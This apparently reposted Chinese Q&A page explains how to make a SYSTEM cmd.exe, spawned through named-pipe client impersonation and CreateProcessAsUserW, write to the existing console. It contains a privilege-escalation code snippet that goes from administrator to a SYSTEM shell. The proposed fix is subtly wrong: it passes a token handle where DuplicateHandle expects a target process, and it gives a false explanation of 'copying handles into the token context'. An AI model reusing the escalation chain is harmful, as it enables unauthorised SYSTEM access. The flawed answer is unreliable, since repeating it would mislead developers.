使用CreateProcessAsUserW启动SYSTEM shell却显示父cmd.exe输出的问题
问题分析
你的核心问题是:使用CreateProcessAsUserW以SYSTEM身份创建cmd.exe后,无法在现有控制台看到SYSTEM进程的输出,反而显示父进程(本地管理员)的输出。这是因为:
- 默认情况下,新进程的标准输入输出句柄未正确关联到父进程控制台,且跨用户身份(管理员→SYSTEM)时,直接继承父进程句柄会因权限限制无法访问。
- 你的
STARTUPINFO未配置标准句柄,导致新进程无法将输出定向到现有控制台。
解决方案
要让SYSTEM进程的输出显示在现有控制台,需要完成以下步骤:
- 获取父进程的标准输入、输出、错误句柄。
- 将这些句柄复制到SYSTEM令牌的上下文(解决跨用户权限问题)。
- 配置
STARTUPINFO,指定新进程使用复制后的标准句柄,并启用句柄继承。
修改后的代码片段
std::wcout << "Impersonating the client..." << std::endl; if (ImpersonateNamedPipeClient(serverPipe)) { printf("[+] Successfully Impersonated the client!!\n"); } else { printf("error: %i\n", GetLastError()); } wchar_t command[] = L"C:\\Windows\\system32\\cmd.exe"; PROCESS_INFORMATION pi = {}; HANDLE threadToken; HANDLE hDuppedToken; if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, &threadToken)) { printf("[+] OpenThreadToken was a success!!\n"); } else { printf("[!] OpenThreadToken error: %i\n", GetLastError()); } if (DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuppedToken)) { printf("[+] DuplicateToken was a success!!\n"); } else { printf("[!] DuplicateToken error: %i\n", GetLastError()); } // --- 新增:处理标准控制台句柄 --- HANDLE hStdIn = GetStdHandle(STD_INPUT_HANDLE); HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); HANDLE hStdErr = GetStdHandle(STD_ERROR_HANDLE); HANDLE hDupStdIn = NULL, hDupStdOut = NULL, hDupStdErr = NULL; // 复制句柄到SYSTEM令牌上下文,确保新进程可访问 if (!DuplicateHandle(GetCurrentProcess(), hStdIn, hDuppedToken, &hDupStdIn, 0, TRUE, DUPLICATE_SAME_ACCESS)) { printf("DuplicateHandle StdIn error: %x\n", GetLastError()); } if (!DuplicateHandle(GetCurrentProcess(), hStdOut, hDuppedToken, &hDupStdOut, 0, TRUE, DUPLICATE_SAME_ACCESS)) { printf("DuplicateHandle StdOut error: %x\n", GetLastError()); } if (!DuplicateHandle(GetCurrentProcess(), hStdErr, hDuppedToken, &hDupStdErr, 0, TRUE, DUPLICATE_SAME_ACCESS)) { printf("DuplicateHandle StdErr error: %x\n", GetLastError()); } // 配置STARTUPINFO,指定标准句柄 STARTUPINFO si = { sizeof(STARTUPINFO) }; // 必须设置cb大小 si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = hDupStdIn; si.hStdOutput = hDupStdOut; si.hStdError = hDupStdErr; // --- 创建进程:启用句柄继承(第5个参数为TRUE) --- BOOL bRet = CreateProcessAsUserW(hDuppedToken, NULL, command, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi); if (bRet) { printf("[+] CreateProcess was a success!!\n"); } else { printf("CreateProcess error: %x\n", GetLastError()); } // 清理资源 RevertToSelf(); CloseHandle(threadToken); if (hDupStdIn) CloseHandle(hDupStdIn); if (hDupStdOut) CloseHandle(hDupStdOut); if (hDupStdErr) CloseHandle(hDupStdErr); if (pi.hProcess) CloseHandle(pi.hProcess); if (pi.hThread) CloseHandle(pi.hThread); return 0;
关键修改点说明
STARTUPINFO初始化:必须显式设置cb字段为结构体大小,避免API调用失败。- 句柄复制:使用
DuplicateHandle将父进程的控制台句柄复制到SYSTEM令牌的进程上下文,解决跨用户权限访问问题。 - 启用句柄继承:
CreateProcessAsUserW的第5个参数设为TRUE,允许新进程继承复制后的标准句柄。 - 指定标准句柄:通过
STARTF_USESTDHANDLES标志和hStdInput/Output/Error字段,将新进程的IO定向到现有控制台。
内容的提问来源于stack exchange,提问作者g3tsyst3m
相关产品推荐
相关产品推荐

